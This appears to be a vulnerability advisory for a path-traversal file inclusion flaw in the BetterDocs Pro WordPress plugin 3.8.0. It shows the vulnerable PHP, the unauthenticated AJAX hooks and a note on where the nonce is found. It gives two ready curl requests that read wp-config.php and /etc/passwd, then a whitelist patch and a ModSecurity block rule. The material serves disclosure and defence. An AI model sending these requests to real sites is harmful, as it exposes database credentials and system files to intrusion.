// VULNERABLE CODE (v3.8.0)
$doc_style = isset($_POST['doc_style']) ? $_POST['doc_style'] : 'doc-grid';

betterdocs_pro()->views->get("layouts/encyclopedia/$doc_style", [
    'doc' => $doc,
    'excerpt' => $excerpt,
    'dictionary_learn_more_text' => $learn_more_text,
    'item_heading_tag' => $item_heading_tag,
]);

HTTP POST Request
        ↓
$_POST['doc_style'] = "../../../../../../wp-config"
        ↓
لا تحقق (الإصدار الضعيف 3.8.0)
        ↓
betterdocs_pro()->views->get("layouts/encyclopedia/$doc_style", [...])
        ↓
تضمين ملف عبر include() أو require()
        ↓
تنفيذ كود PHP عشوائي / قراءة ملف

// Line 141 in includes/Core/Encyclopedia.php
$doc_style = isset($_POST['doc_style']) ? $_POST['doc_style'] : 'doc-grid';

// Line 145-148 in includes/Core/Encyclopedia.php
$allowed_doc_styles = ['doc-grid', 'doc-list', 'doc-list-2'];
$doc_style = isset($_POST['doc_style']) && in_array($_POST['doc_style'], $allowed_doc_styles, true)
    ? $_POST['doc_style']
    : 'doc-grid';

// Line 17-18
add_action('wp_ajax_load_more_docs_section', [$this, 'load_more_docs_section']);
add_action('wp_ajax_nopriv_load_more_docs_section', [$this, 'load_more_docs_section']);

// Line 20-21
add_action('wp_ajax_load_more_docs', [$this, 'load_more_docs']);
add_action('wp_ajax_nopriv_load_more_docs', [$this, 'load_more_docs']);

# Step 1: Read wp-config.php
curl -X POST "https://target.com/wp-admin/admin-ajax.php" \
  -d "action=load_more_docs_section" \
  -d "_nonce=VALID_ENCRYPTION_NONCE" \
  -d "doc_style=../../../../../../wp-config" \
  -d "page=1"

# Step 2: Read /etc/passwd
curl -X POST "https://target.com/wp-admin/admin-ajax.php" \
  -d "action=load_more_docs" \
  -d "_nonce=VALID_ENCRYPTION_NONCE" \
  -d "doc_style=../../../../../../etc/passwd" \
  -d "page=0"

// In betterdocs-encyclopedia.js
betterdocsEncyclopedia = {
    'site_url': '...',
    'ajax_url': '...',
    '_nonce': 'VALID_NONCE_HERE'  // <-- This is what you need
};

// Replace line 141 with:
$allowed_doc_styles = ['doc-grid', 'doc-list', 'doc-list-2'];
$doc_style = isset($_POST['doc_style']) && in_array($_POST['doc_style'], $allowed_doc_styles, true)
    ? $_POST['doc_style']
    : 'doc-grid';

# Block doc_style with path traversal patterns
SecRule ARGS:doc_style "@rx (\.\.\/|\.\.\\|%2e%2e)" \
    "id:1001,phase:1,deny,status:403,msg:'LFI Attempt Blocked'"

Vulnerable Version: betterdocs-pro_3.8.0.zip
Patched Version:   betterdocs-pro_3.9.0.zip

Key Files:
- includes/Core/Encyclopedia.php    (VULNERABLE)
- includes/Core/Scripts.php         (Contains nonce generation)
- includes/Utils/Views.php          (File inclusion logic)